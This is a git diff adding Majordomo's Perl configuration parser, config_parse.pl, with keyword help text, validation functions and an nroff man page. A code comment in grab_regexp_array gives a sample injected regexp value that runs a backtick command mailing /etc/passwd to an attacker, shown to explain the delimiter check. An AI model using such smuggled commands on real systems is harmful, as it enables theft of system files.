config file rewrites.", + +'noadvertise', +"If the requestor name matches one of these +regexps, then the list will not be listed +in the output of a lists command. +Noadvertise overrides advertise.", + +'description', +"Used as description for mailing list +when replying to the lists command. +There is no quoting mechanism, and +there is only room for 50 or so +characters.", + +'subscribe_policy', +"One of three values: open, closed, auto; plus an optional +modifier: '+confirm'. Open allows people to subscribe themselves to +the list. Auto allows anybody to subscribe anybody to the list without +maintainer approval. Closed requires maintainer approval for all +subscribe requests to the list. Adding '+confirm', ie, +'open+confirm', will cause majordomo to send a reply back to the +subscriber which includes a authentication number which must be sent +back in with another subscribe command.", + +'unsubscribe_policy', +"One of three values: open, closed, auto; plus an optional modifier: +'+confirm'. Open allows people to unsubscribe themselves from the +list. Auto allows anybody to unsubscribe anybody to the list without +maintainer approval. The existence of the file .auto is the +same as specifying the value auto. Closed requires maintainer +approval for all unsubscribe requests to the list. In addition to the +keyword, if the file .closed exists, it is the same as +specifying the value closed. Adding '+confirm', ie, 'auto+confirm', +will cause majordomo to send a reply back to the subscriber if the +request didn't come from the subscriber. The reply includes a +authentication number which must be sent back in with another +subscribe command. The value of this keyword overrides the value +supplied by any existent files.", + +'mungedomain', +"If set to yes, a different method is used to determine a matching +address. When set to yes, addresses of the form user\@dom.ain.com are +considered equivalent to addresses of the form user\@ain.com. This +allows a user to subscribe to a list using the domain address rather +than the address assigned to a particular machine in the domain. This +keyword affects the interpretation of addresses for subscribe, +unsubscribe, and all private options.", + +'admin_passwd', +"The password for handling administrative +tasks on the list.", + +'strip', +"When adding address to the list, strip off all +comments etc, and put just the raw address in the +list file. In addition to the keyword, if the file +.strip exists, it is the same as +specifying a yes value. That yes value is overridden +by the value of this keyword.", + +'date_info', +"Put the last updated date for the info file at the +top of the info file rather than having it appended +with an info command. This is useful if the file is being +looked at by some means other than majordomo (e.g. finger).", + +'date_intro', +"Put the last updated date for the intro file at the +top of the intro file rather than having it appended +with an intro command. This is useful if the file is being +looked at by some means other than majordomo (e.g. finger).", + +'moderate', +"If yes, all postings to the list will be +bounced to the moderator for approval.", + +'moderator', +"Address for directing posts which require approval. Such +approvals might include moderated mail, administrivia traps, +and restrict_post authorizations. If the moderator address +is not set, it will default to the list-approval address.", + +'approve_passwd', +"Password to be used in the approved header +to allow posting to moderated list, or +to bypass resend checks.", + +'sender', +"The envelope and sender address for the +resent mail. This string has \"\@\" and the value +of resend_host appended to it to make a +complete address. For majordomo, it provides the sender address +for the welcome mail message generated as part of the subscribe command.", + +'maxlength', +"The maximum size of an unapproved message in characters. When used +with digest, a new digest will be automatically generated if the size +of the digest exceeds this number of characters.", + +'precedence', +"Put a precedence header with value +into the outgoing message.", + +'reply_to', +"Put a reply-to header with value +into the outgoing message. If the token \$SENDER is used, then the +address of the sender is used as the value of the reply-to header. +This is the value of the reply-to header for digest lists.", + +'restrict_post', +"If defined, only addresses listed in these files (colon or +space separated) can post to the mailing list. By default, +these files are relative to the lists directory. These files +are also checked when get_access, index_access, info_access, +intro_access, which_access, or who_access is set to 'list'. +This is less useful than it seems it should be since there +is no way to create these files if you do not have access to +the machine running resend. This mechanism will be replaced +in a future version of majordomo/resend.", + +'resend_host', +"The host name that is appended to all address +strings specified for resend.", + +'purge_received', +"Remove all received lines before resending the message.", + +'administrivia', +"Look for administrative requests (e.g. subscribe/unsubscribe) and forward +them to the list maintainer instead of the list.", + +'debug', +"Don't actually forward message, just go though the motions.", + +'archive_dir', +"The directory where the mailing list archive is kept. This item does +not currently work. Leave it blank.", + +'message_fronter', +"Text to be prepended to the beginning of all messages posted to the list. +The text is expanded before being used. The following expansion tokens +are defined: \$LIST - the name of the current list, \$SENDER - the +sender as taken from the from line, \$VERSION, the version of +majordomo. If used in a digest, only the expansion token _SUBJECTS_ is +available, and it expands to the list of message subjects in the digest", + +'message_footer', +"Text to be appended at the end of all messages posted to the list. +The text is expanded before being used. The following expansion tokens +are defined: \$LIST - the name of the current list, \$SENDER - the +sender as taken from the from line, \$VERSION, the version of +majordomo. If used in a digest, no expansion tokens are provided", + +'message_headers', +"These headers will be appended to the headers of the posted message. +The text is expanded before being used. The following expansion tokens +are defined: \$LIST - the name of the current list, \$SENDER - the +sender as taken from the from line, \$VERSION, the version of +majordomo.", + +'subject_prefix', +"This word will be prefixed to the subject line, if it is not already +in the subject. The text is expanded before being used. The following +expansion tokens are defined: \$LIST - the name of the current list, +\$SENDER - the sender as taken from the from line, \$VERSION, the +version of majordomo.", + +'taboo_headers', +"If any of the headers matches one of these regexps, then the message +will be bounced for review.", + +'taboo_body', +"If any line of the body matches one of these regexps, then the message +will be bounced for review.", + +'digest_volume', +"The current volume number", + +'digest_issue', +"The issue number of the next issue", + +'digest_work_dir', +"The directory used as scratch space for digest. Don't +change this unless you know what you are doing", + +'digest_name', +"The subject line for the digest. This string has the volume + and issue appended to it.", + +'digest_archive', +"The directory where the digest archive is kept. This item does +not currently work. Leave it blank.", + +'digest_rm_footer', "The value is the name of the list that applies +the header and footers to the messages that are received by +digest. This allows the list supplied headers and footers to be +stripped before the messages are included in the digest.", + +'digest_rm_fronter', +'Works just like digest_rm_footer, except it removes the front material.', + +'digest_maxlines', +"automatically generate a new digest when the size of the digest exceeds +this number of lines.", + +'digest_maxdays', +"automatically generate a new digest when the age of the oldest article in +the queue exceeds this number of days.", +); + +# match commands to their subsystem, by default only 4 subsystems +# exist, majordomo, resend, digest and config. +%subsystem = ( + 'welcome', 'majordomo', + 'announcements', 'majordomo', + 'get_access', 'majordomo', + 'index_access', 'majordomo', + 'info_access', 'majordomo', + 'intro_access', 'majordomo', + 'who_access', 'majordomo', + 'which_access', 'majordomo', + 'advertise', 'majordomo', + 'noadvertise', 'majordomo', + 'description', 'majordomo', + 'subscribe_policy', 'majordomo', + 'unsubscribe_policy', 'majordomo', + 'mungedomain', 'majordomo', + 'admin_passwd', 'majordomo', + 'strip', 'majordomo', + 'date_info', 'majordomo', + 'date_intro', 'majordomo', + 'archive_dir', 'majordomo', +# stuff for resend below + 'moderate', 'resend', + 'moderator', 'resend', + 'approve_passwd', 'resend', + 'sender', 'majordomo,resend,digest', + 'maxlength', 'resend,digest', + 'precedence', 'resend,digest', + 'reply_to', 'resend,digest', + 'restrict_post', 'resend', + 'purge_received', 'resend', + 'administrivia', 'resend', + 'resend_host', 'resend', + 'debug', 'resend', + 'message_fronter', 'resend,digest', + 'message_footer', 'resend,digest', + 'message_headers', 'resend,digest', + 'subject_prefix', 'resend', + 'taboo_headers', 'resend', + 'taboo_body', 'resend', +# digest here + 'digest_volume', 'digest', + 'digest_issue', 'digest', + 'digest_work_dir', 'digest', + 'digest_name', 'digest', + 'digest_archive', 'digest', + 'digest_rm_footer', 'digest', + 'digest_rm_fronter', 'digest', + 'digest_maxlines', 'digest', + 'digest_maxdays', 'digest', +# general stuff here + 'comments', 'config', +); + +# match a parse function to a keyword +# the parse function will be called to parse the value string for +# the keyword +%parse_function = ( + 'welcome', 'grab_bool', + 'announcements', 'grab_bool', + 'get_access', 'grab_enum', + 'index_access', 'grab_enum', + 'info_access', 'grab_enum', + 'intro_access', 'grab_enum', + 'who_access', 'grab_enum', + 'which_access', 'grab_enum', + 'advertise', 'grab_regexp_array', + 'noadvertise', 'grab_regexp_array', + 'description', 'grab_string', + 'subscribe_policy', 'grab_enum', + 'unsubscribe_policy', 'grab_enum', + 'mungedomain', 'grab_bool', + 'admin_passwd', 'grab_word', + 'strip', 'grab_bool', + 'date_info', 'grab_bool', + 'date_intro', 'grab_bool', + 'archive_dir', 'grab_absolute_dir', +# stuff for resend below + 'moderate', 'grab_bool', + 'moderator', 'grab_word', + 'approve_passwd', 'grab_word', + 'sender', 'grab_word', + 'maxlength', 'grab_integer', + 'precedence', 'grab_word', + 'reply_to', 'grab_word', + 'restrict_post', 'grab_restrict_post', + 'purge_received', 'grab_bool', + 'administrivia', 'grab_bool', + 'resend_host', 'grab_word', + 'debug', 'grab_bool', + 'message_fronter', 'grab_string_array', + 'message_footer', 'grab_string_array', + 'message_headers', 'grab_string_array', + 'subject_prefix', 'grab_word', + 'taboo_headers', 'grab_regexp_array', + 'taboo_body', 'grab_regexp_array', +# stuff for digest below + 'digest_volume', 'grab_integer', + 'digest_issue', 'grab_integer', + 'digest_work_dir', 'grab_absolute_dir', + 'digest_name', 'grab_string', + 'digest_directory', 'grab_absolute_dir', + 'digest_archive', 'grab_absolute_dir', + 'digest_rm_footer', 'grab_word', + 'digest_rm_fronter', 'grab_word', + 'digest_maxlines', 'grab_integer', + 'digest_maxdays', 'grab_integer', +# general stuff below + 'comments', 'grab_string_array', + ); + + + +#### writeconfig +# is called to create up a default config file +# if majordomo runs and access a list for which no config +# file exists. The config file must already be locked. +# +# It is also called in response to the majordomo command "writeconfig" + +sub writeconfig { + local($listdir,$list) = @_; + local($key,$intro,$type,$value,$default,$subsystem,$comment) = (); + local($op) = '='; + local($oldumask) = umask($config_umask); + + + format OUT = + + @<<<<<<<<<<<<<<<<<<< @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + $key, $intro + ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< ~~ + $comment +@<<<<<<<<<<<<<<<<<< @<< @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< +$key, $op, $value +. + + &main'open_temp(OUT, "$listdir/$list.config.out") + || &main'abort("Can't create new config file $listdir/$list.config.out"); + umask($oldumask); + +$installing_defaults = 1; + +foreach $key (sort (keys(%known_keys))) { + local($enum,@enum); + undef $enum; + + $type = $parse_function{$key}; + $type =~ s/^grab_//; # remove the grab_ prefix + $type =~ s/^.*__//; # If we have an explicit type, get it + + @enum = split(/\001/,$known_keys{$key}) if $type eq "enum"; + $default = pop(@enum); # Remove the default + + $value = $main'config_opts{$list,$key};#'; + $value = ("no","yes")[$value] if $type eq "bool"; + + $default = ($known_keys{$key} eq '' + ? "undef" + : &get_def($key, $known_keys{$key}, $list)); + $default = ("no","yes")[$default] if $type eq "bool"; + $default =~ s/\001/;/g; + $subsystem = $subsystem{$key}; + + $enums = join(';',@enum[$[..$#enum]) if $type eq "enum"; + + $intro = "[$type] ($default) <$subsystem>"; + + $intro .= " /$enums/" if $type eq "enum"; + + $comment = (defined $comments{$key} ? $comments{$key} : " "); + + if ($type =~ /_array/) { + # output items in array normal form + local($lval) = $value; + $value = "END"; + $op = '<<'; + write(OUT); + + + # handle the - escapes. We have to be careful about ordering + # the rules so that we don't accidently trigger a substitution + # if there is a - at the beginning of an entry, double it + # so that the doubled - can be striped when read in later + $lval =~ s/^-/--/g; # start with -'ed line + $lval =~ s/\001-/\001--/g; # embedded line starting with - + + # In standard form, empty lines are lines that have only + # a '-' on the line. + $lval =~ s/^\001/-\001/g; # start with blank line + $lval =~ s/\001\001/\001-\001/g; # embedded blank line + $lval =~ s/\001$/\001-/g; # trailing blank line + + # if there is space, protect it with a - + $lval =~ s/^(\s)/-$1/g; # the first line + $lval =~ s/\001(\s)/\001-$1/g; # embedded lines + + # now that all of the escapes are processed, get it ready + # to be printed. + $lval =~ s/\001/\n/g; + + print OUT $lval, "\nEND\n" + || &main'abort("Error writing config file for $list, $!"); + + $op = '='; + } else { + write(OUT) + || &main'abort("Error writing config file for $list, $!"); + } +} + +$installing_defaults = 0; + +close(OUT); + +# I have to post process the output to put the %#@^& comment character +# in. I can't do this in a forked process without getting a mix of the +# stdin to the parent and the child with Perl 4.019. + +open(MCONFIG, "> $listdir/$list.config") || + &main'abort( "Can't create new config file $listdir/$list.config"); + +print MCONFIG <'s. (undef) as default value means that the keyword is not +# defined or used. +EOS + +open(IN, "< $listdir/$list.config.out") || + &main'abort( "Can't create new config file $listdir/$list.config.out"); + +while () { + s/^(\t)(\S+)/$1# $2/; # prepend a '# ' to any line with a tab at the + # beginning preserving indentation. + print(MCONFIG) || + &main'abort("Couldn't write new config for $list, $!"); +} + +close(MCONFIG); +close(IN); +unlink("$listdir/$list.config.out"); +} + +#### handle_flag_files +# This is a compatibility routine for the non-config file +# based version of majordomo. It looks for the flag files, and +# sets the corresponding config file parameters. + +sub handle_flag_files { + local($listdir, $list) = @_; + + if ( -e "$listdir/$list.private") { + $main'config_opts{$list,"get_access"} = "closed"; + $main'config_opts{$list,"index_access"} = "closed"; + $main'config_opts{$list,"who_access"} = "closed"; + $main'config_opts{$list,"which_access"} = "closed"; + } + + $main'config_opts{$list,"subscribe_policy"} = "closed" + if ( -e "$listdir/$list.closed"); + + $main'config_opts{$list,"unsubscribe_policy"} = "closed" + if ( -e "$listdir/$list.closed"); + + if ( -e "$listdir/$list.auto" && -e "$listdir/$list.closed") { + push(@errors, + "Both listname.auto and listname.closed exist. Choosing closed\n"); + } else { + $main'config_opts{$list,"subscribe_policy"} = "auto" + if ( -e"$listdir/$list.auto"); + + $main'config_opts{$list,"unsubscribe_policy"} = "auto" + if ( -e"$listdir/$list.auto"); + } + + $main'config_opts{$list,"strip"} = 1 if ( -e "$listdir/$list.strip"); + $main'config_opts{$list,"noadvertise"} = "/.*/" + if ( -e "$listdir/$list.hidden"); +} + +######## +# +# The function that does all of the real work. +# Called with a list directory, a list name, and optionally a flag +# that indicates the config file is already locked if true (and +# should be left locked on return). +# +# List config file locking is different than other files in that a +# distinct lock file is used instead of just lopen() locking because +# it's easier to manage a persistent lock than to try to keep the file +# open (and thus locked) and pass the filehandle around. +# +sub main'get_config { + local($listdir, $list, $locked) = @_; + local($parse, $here_doc, $stop, $end) = (); + $end = 0; + + @errors = (); + + print STDERR "get_config($listdir, $list)\n" if $debug > 1; + + if ($main'config_opts{$list} && $clobber) { + # hey a reload, better clobber all previous + # entries pertaining to this list + local($i); + print STDERR "unloading entries for $list\n" if $debug > 1; + foreach $i (keys(%known_keys)) { + undef $main'config_opts{$list,"$i"}; + } + } + + $main'config_opts{$list,''} = '1'; # set a flag to indicate that we + # have parsed the config file for + # this list + print STDERR "adding site-wide defaults\n" if $debug > 1; + + $installing_defaults = 1; + + foreach $i (keys(%known_keys)) { + $main'config_opts{$list,$i} = + &get_def($i, $known_keys{$i}, $list); + } + + $installing_defaults = 0; + + + print STDERR "Overriding with existing config files\n" if $debug > 1; + &handle_flag_files($listdir, $list); # this looks for files of + # the form listname.function + + unless ($locked) { + &main'set_lock("$listdir/$list.config.LOCK") || + &main'abort( "Can't get lock for $listdir/$list.config"); + } + + print("making default\n") + if ($debug > 1) && (! -e "$listdir/$list.config"); + + &writeconfig($listdir, $list) + unless -e "$listdir/$list.config" ; + + print STDERR "parsing config get_config($listdir, $list)\n" if $debug > 1; + open(CONFIG, "$listdir/$list.config") + || &main'abort( "Can't open $listdir/$list.config"); + + while ($_ = ) { + + next if /^\s*(#|$)/; # remove comment and blank lines + chop $_; # remove the trailing \n + s/#.*//; # remove comments at the end of lines + + $here_doc = 0; + + ($key,$value) = split(/=/, $_, 2); # try splitting on = + if ($key =~ /\<\) { + $value =~ s/^\s*//; # strip whitespace front + $value =~ s/\s*$//; # strip whitespace rear + $end = 0, last if $stop eq $value; + push(@errors, + "invalid blank line found at line ", $. - 1, "\n"), $end = 0, + last if $end == 1; + + if ( $value eq '' ) { # stop accumulating on empty line + # unless it is right b4 $stop + $end = 1; + } + + # call the parse function for every value in the here document + # take the output of the parse function and add it to the + # string representation of the array. In the string representation, + # array values are separated by the ^A character. + + if (defined($main'config_opts{$list,$key})) { + $main'config_opts{$list,$key} .= "\001" . + &$parse($value, $list, $key); + } else { # we are starting an array + $main'config_opts{$list,$key} = + &$parse($value, $list, $key); + } + } + } + } + +close(CONFIG); + +&main'free_lock("$listdir/$list.config.LOCK") unless $locked; + +print STDERR @errors if $debug > 1; + +return 1 if @errors; +return 0; +} + +##### +# +# The grab functions that validate values are defined below: +# +# grab_absolute_dir - looks for root anchored existing directory +# uses @main'safedirs to determine valid +# paths. +# grab_absolute_file - looks for root anchored existing file +# uses @main'safefiles to determine valid +# paths. +# +# grab_bool - parses boolean options "yes", "y", "no", "n" +# +# grab_enum -- validates an enumerated value from a sequence +# +# grab_integer -- validates an integer +# +# grab_regexp -- validates a regexp. Must have leading and trailing +# match delimiters. +# +# grab_restrict_post -- validates the existance of files listed +# +# grab_string -- reads/returns a string. No checking is done. +# +# grab_word - grabs one whitespace delimited word. Complains if more +# than 1 word. +#### + +sub grab_absolute_dir { + local($dir, $list, $key) = @_; + + return(""); + return ("") if $dir eq "undef"; + return ("") if $dir eq ""; + + push(@errors, "Relative path element '..' in $dir is not allowed\n") + if $dir =~ m#/\.\./# ; + + push(@errors, "Anchoring path element '.' in $dir is not allowed\n") + if $dir =~ m#/\./# ; + + push(@errors, "$dir must be root anchored\n") + if $dir !~ m#^/# ; + + foreach $i (@main'safedirs) { + if ($dir =~ m#$i#) { + return $dir if ( -d $dir ); + push(@errors, "Directory $dir doesn't exist\n"); + return ""; + } + } + + push(@errors, "Directory $dir is not safe\n"); + return ""; +} + +sub grab_absolute_file { + local($file) = @_; + + return(""); + push(@errors, "Relative path element '..' in $file is not allowed\n") + if $file =~ m#/\.\./# ; + + push(@errors, "Anchoring path element '.' in $file is not allowed\n") + if $file =~ m#/\./# ; + + push(@errors, "$file must be root anchored\n") + if $file != m#^/# ; + + foreach $i (@main'safefiles) { + if ($file =~ "m#$i#") { + return $file if ( -f $file ); + push(@errors, "File $file doesn't exist\n"); + return ""; + } + } + + push(@errors, "File $file is not safe\n"); + return ""; +} + +sub grab_bool { +local($bool) = @_; + + $bool =~ tr/A-Z/a-z/; + + return 1 if $bool eq "yes"; + return 1 if $bool eq "y"; + return 0 if $bool eq "no"; + return 0 if $bool eq "n"; + + push(@errors,"Unknown boolean value $bool in config file at line $.\n"); + return 0; +} + +sub grab_enum { + local($value, $list, $key) = @_; + local($i, @enum) = ""; + local($default_value) = ""; + + if ($installing_defaults) { # the value when installing defaults is + # the entire enumerated list, with the + # default at the end + @enum = split(/\001/, $value); + $value = pop(@enum); + + $default_value = $value; + + if ( $value =~ s/^#!// ) { + $default_value = $value; + + $value = eval("$value"); + push(@errors, $@) if $@ ne ""; + + } + + # + # duplicate here for better error message during + # default setup. + # + foreach $i (@enum) { + return $value if $value eq $i; + } + push(@errors, "$value at line $. is not a valid value.\n" . + "This value was taken from the default list.\n" . + "It was produced by $default_value\n" . + "So it is likely to be taken from majordomo.cf.\n" . + "BTW, the line number shown here is the line number of the last line and not relevant.\n" . + "The key to which the value was assigned was $key " . "\n" . + "Valid values are: " . join(';', @enum) . "\nlist was $list" ); + + return ""; + + + } else { + @enum = split(/\001/, $known_keys{$key}); + pop(@enum); + } + foreach $i (@enum) { + return $value if $value eq $i; + } + push(@errors, "$value at line $. is not a valid value.\n" . + "Valid values are: " . join(';', @enum) . "\nlist was $list" . + " the key was $key " . "\n" . + "installing_default was $installing_defaults" . "\n"); + + + return ""; +} + +sub grab_integer { + local($num, $list, $key)=@_; + return($num) if $num =~ /^[1-9][0-9]*$/; + return($num) if $num =~ /^$/; + push(@errors, "$num is not an integer at line $.\n"); + return ""; +} + +sub grab_integer_array { + local($value, $list, $key) = @_; + local(@value_array) = split(/\001/,$value); + local(@return_array, @local_errors, $num) = (); + + foreach $num (@value_array){ + push(@local_errors, + "integer |$num| contains a ^A at line $.\n"), next + if $re =~ /\001/; + + push(@return_array, $num) if $num =~ /^[1-9][0-9]*$/; + push(@return_array, $num) if $num =~ /^$/; + push(@local_errors, "$num is not an integer at line $.\n"); + } + + if (@local_errors) { + push(@errors, @local_errors); + return ""; + } + return (join("\001", @return_array)); +} + +sub grab_float { + local($num)=@_; + return($num) if $num =~ /^[0-9][0-9]*\.[0-9]+$/; + return($num) if $num =~ /^$/; + push(@errors, "$num is not a floating point number at line $.\n"); + return ""; +} + +sub grab_float_array { + local($value, $list, $key) = @_; + local(@value_array) = split(/\001/,$value); + local(@return_array, @local_errors, $num) = (); + + foreach $num (@value_array){ + push(@local_errors, + "integer |$num| contains a ^A at line $.\n"), next + if $re =~ /\001/; + + push(@return_array, $num) if $num =~ /^[1-9][0-9]*\.[0-9]+$/; + push(@return_array, $num) if $num =~ /^$/; + push(@local_errors, + "$num is not an floating point number at line $.\n"); + } + + if (@local_errors) { + push(@errors, @local_errors); + return ""; + } + return (join("\001", @return_array)); +} + +sub grab_regexp_array { + local($value, $list, $key) = @_; + local(@re_array) = split(/\001/,$value); + local(@return_re, @re_errors, $re, $dlm) = (); + + foreach $re (@re_array){ + if ($re =~ /\001/) { + push(@re_errors, + "regular expression |$re| contains a ^A at line $.\n"); + } + # if we don't check for an extra deliminator here, an + # evil person could sneak stuff in here, since it + # is eval'd... + # Ie: + # advertise = << END + # m:yyy: ; `/bin/mail evil_hacker < /etc/passwd` ; "bar" =~ m:yyy: + # END + # + elsif ($re !~ m:^((/)|m([^\w\s])):) { + push(@re_errors, + "|$re| not a valid pattern match expression at line $.\n"); + } + else { + $dlm=($2||$3); + if ($re !~ m:^m?$dlm[^\\$dlm]*(\\.[^\\$dlm]*)*$dlm[gimosx]*$:) { + push(@re_errors, + "|$re| not a valid pattern match expression at line $.\n"); + } + elsif (eval "'' =~ $re", $@) { + push(@re_errors, $@); + } + else { + push(@return_re, $re); + } + } + } + + if (@re_errors) { + push(@errors, @re_errors); + return ""; + } + return (join("\001", @return_re)); +} + +sub grab_restrict_post { + local($list) = @_; + local(@files) = (); + + @files = split (/[:\s]+/, $list); + foreach (@files) { + # add listdir if no leading / + # + $_ = ( m@^/@ ? $_ : "$main'listdir/$_"); #'; + push(@errors, "Can't find restrict_post file $_ at line $.\n" ) + unless -e $_; + } + return ($list); # if the list isn't any good, resend is ok about it +} + +sub grab_string { + local($string) = @_; + return($string); +} + +# accumulate an array of strings allowing escape sequences stared with a -. +sub grab_string_array { + local($value, $list, $key) = @_; + local(@s_array) = split(/\001/,$value); + local(@return_s, @s_errors, $str) = (); + + foreach $str (@s_array){ + + # a single - on a line means a blank character/line + $str = '' if ( $str eq '-' ); + $str =~ s/^-(\s+)/$1/; # a - saves space + $str =~ s/^--/-/; # a -- means - + + push(@return_s, $str), + next if $str !~ /\001/; + push(@s_errors, + "string |$str| contains a ^A at line $.\n"); + } + + if (@s_errors) { + push(@errors, @s_errors); + return ""; + } + return (join("\001", @return_s)); +} + +sub grab_word { + local($word) = @_; + + push(@errors, "More then one word " . $count . + "in value $_ at line $.\n") + if ($count = split(' ', $word)) > 1 ; + return ($word); +} + + +#### +# +# start utility routines +# +#### +sub config'get_def { + local($key, $default, $list) = @_; + local($parser) = (); + local($digest) = undef; + + # sometimes the list variable doesn't get overridden + #$orig_list = $list; # Does anyone ever need this? + $list =~ s/.new$//; # chomp a .new extention to load + # a replacement file + $baselist = $list; # Compatibility + + &main'abort( "Improper number of args to get_def") unless defined $list; + + # discover what mode we are working in + # are we generating a digest list + $digest = 1 if $list =~ /-digest$/; + + if ( $default =~ s/^#!// ) { + $default = eval("$default"); + print $@ if $@ ne ""; + } + + $parser = $parse_function{$key}; + return(($default eq '') ? '' : &$parser($default, $list, $key)); +} + +sub substitute_values { + # BUG the string \$ can't be embedded, but I see no reason it should + # be needed + local($string, $list) = @_; + + if ( index($string, '$') < $[ ) { + # if there is no $ in the string, just return the string + return($string); + } + + # hide escaped \$ variable references + $string =~ s/\\\$/\002/; + + $string =~ s/\$LIST/$list/g; + $string =~ s/\$VERSION/$main'majordomo_version/g; + $string =~ s/\$SENDER/$main'from/g; + + # replace the escaped $'s + $string =~ s/\002/\$/; + + return($string); +} + + +#### +# +# Routines for package main. +# +#### + + +# get the boolean value. Return true if not the number 0 or null. +sub main'cf_ck_bool { #given the name of the list and item, look it up + local($list, $key) = @_; + + return (1) if (($main'config_opts{$list,$key} != 0) && + $main'config_opts{$list,$key} ne ''); + return (0); +} + + +sub main'new_keyword { # all args are required + local($key,$value,$function,$subsystem,$comment) = @_; + + die "new_keyword: key is not defined" if !defined($key); + # value can be undef, so don't check for defined state of value. + die "new_keyword: function is not defined" if !defined($function); + die "new_keyword: subsystem is not defined" if !defined($subsystem); + die "new_keyword: comments are not defined" if !defined($comment); + + $key =~ s/^\s*//; # strip whitespace front + $key =~ s/\s*$//; # strip whitespace rear + $value =~ s/^\s*//; # strip whitespace front + $value =~ s/\s*$//; # strip whitespace rear + $function =~ s/^\s*//; # strip whitespace front + $function =~ s/\s*$//; # strip whitespace rear + $subsystem =~ s/^\s*//; # strip whitespace front + $subsystem =~ s/\s*$//; # strip whitespace rear + $comment =~ s/^\s*//; # strip whitespace front + $comment =~ s/\s*$//; # strip whitespace rear + + die "Keyword $key > 18 characters" if length($key) > 18; + + $known_keys{$key} = ( defined($value) ? $value : ''); # use null value + # for undef + if (!defined(&$function)) { + die "Unknown function $function (package config) for keyword $key\n"; + } + + $parse_function{$key} = $function; # set the function + + $subsystem{$key} = $subsystem; # set the subsystem + + $comments{$key} = $comment if defined $comment; # set the documentation +} + +# a dummy main for testing. You aren't expected to understand this junk. +#package main; +#require "majordomo.cf"; +#require 'mm_match_user' ; +# +# +# +#&main'get_config($ARGV[0],$ARGV[1]); +#&config'writeconfig($ARGV[0], $ARGV[1]); +#foreach $i (sort(keys(%main'config_opts))) { +#local($j) = $i; +#$j =~ s/^$ARGV[1]$;//; +#$j =~ s/^$ARGV[1]//; +#print ($j . " = " . +# ($main'config_opts{$i} eq ''? "undef" : $main'config_opts{$i}) . "\n") +# unless $j eq ''; +#} +#print @config'errors; +# + +1; # keep require happy. + +############################################################### + +# These next few lines are legal in both Perl and nroff. + +.00; # finish .ig + +'di \" finish diversion--previous line must be blank +.nr nl 0-1 \" fake up transition to first page again +.nr % 0 \" start at page 1 +'; __END__ ##### From here on it's a standard manual page ##### +.TH config_parse.pl 8 +.SH NAME +config_parse.pl, new_keyword, config_opts, %known_keys \- Add a new keyword + to the majordomo configuration file parser. +.SH Syntax +.nf +.B &main'new_keyword(key, default_value, parse_function, subsystem, comment) + +.B $config_opts{, key} +.SH Description + +The new_keyword function registers a new keyword with the majordomo +configuration file parser. The default value, or an overriding value +specified in the config file will be put into the array +%main'config_opts, which is indexed by the listname and the key. + +The arguments to main'new_keyword are: +.TP 15 +key +The text of the keyword in the configuration file (e.g. +subscription_policy). It should use the '_' as a word separator and +should be less than 20 characters total length. + +.TP 15 +default_value +The default value for the string. Empty quotes must be used if the +value is to be null. If the default value starts with the characters +'#!', the string is eval'led in the context of the config package. The +function config'get_def performs the evaluation. Besides the global +values, the name of the list is available in the variable "$list", and +the current key name is available in the variable "$key". + +If the keyword is an enumerated type, the value must follow this form: + +.I value1^Avalue2^Avalue3^Avalue2 + +^A is control-A (ascii octal value 001). The default value for the +keyword is the last value in the list (note: that value2 must appear +twice, once to show it is a member of the list, and last to show that +it is the default value.) + +If the value can be an array, the default value can be a ^A separated +set of elements. These values correspond to the possible values of the +%known_keys array Before installing the config_opts code for the first +time, it is a good idea to look over the perl array %known_keys, and +change the default values. + +.TP 15 +parse_function +The parse function is used to validate the data supplied by the list +maintainer and to try to point out problems with the data. There are a +number of parse functions defined, all of the MUST be in the config +package. If you are writing a parse function of your own, make sure +that it is in the config package, otherwise the parser won't find it. + +By convention all of the parse functions supplied with in +config_parse.pl start with grab_. The name of the function is used to +derive a type value for the inline documentation. All functions that +are able to accept multiple arguments must end in _array. The +supplied functions are: + +.RS 15 +.TP 10 +grab_absolute_dir +A root anchored directory +.TP 10 +grab_absolute_file +A root anchored file +.TP 10 +grab_bool +choose from: yes, no, y, n +.TP 10 +grab_enum +One of a list of possible values +.TP 10 +grab_integer +an integer (string made up of the digits 0-9, no decimal point) +.TP 10 +grab_integer_array +an array of integers (string made up of the digits 0-9, no decimal point) +.TP 10 +grab_float +a floating point number with decimal point. Exponential notation is not +supported. +.TP 10 +grab_float_array +an array of floating point numbers with decimal point. +Exponential notation is not supported. +.TP 10 +grab_regexp_array +an array of perl style regular expression with leading/trailing /'s +.TP 10 +grab_restrict_post +a series of space or : separated file names in which +to look up the senders address +(restrict-post should go away to be replaced by an +array of files) +.TP 10 +grab_string +any text up until a \n stripped of leading and trailing whitespace +.TP 10 +grab_string_array +handle an array of strings possibly sperated by ^A characters. +.TP 10 +grab_word +any text with no embedded whitespace +.RE + +.TP 15 +subsystem +A unique name for the value for your subsystem. This is used to clear +out old keywords when a subsystem module is removed. Only two +subsystems are defined by default: majordomo and resend. If the digest +program is converted, then the digest subsystem will also be defined. + +I would suggest that the unique identifiers for addin subsystems to +the majordomo command be prefixed with "maj-". + +.TP 15 +comment +Documentary text that is filled and printed in the config file. This +text should describe the purpose and function of the keyword. + +.SH Diagnostics + +The function calls die if any of its arguments are missing. While this +isn't as nice as trying to handle the error, it sure does get the +attention of the majordomo maintainer. + +.SH Bugs +There is no way to add text describing a new type to the header of the +config file. The documentation on a new type has to be done in the +comment text. + +The default string for an enumerated type shouldn't require +duplication of the default value. The default value string shouldn't +be so heavily overloaded either. + +This man page should be more explicit about the checks done by the +parse functions. + +new_keyword doesn't yet check and reject duplicate keywords, so it is +up to the majordomo maintainer to make sure that keywords don't +conflict. + +main'cf_ck_bool should be documented here as well. + +.SH See Also +majordomo(8), perl(1) + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/archive.pl b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/archive.pl new file mode 100644 index 0000000..0e7e7e4 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/archive.pl @@ -0,0 +1,109 @@ +#!/bin/perl + +#(Message inbox:15) +#Return-Path: Majordomo-Users-Owner@greatcircle.com +#Message-Id: +#From: Alan Millar +#Subject: Perl prog to create list archives +#To: majordomo-users@greatcircle.com +#Date: Wed, 1 Sep 1993 00:32:03 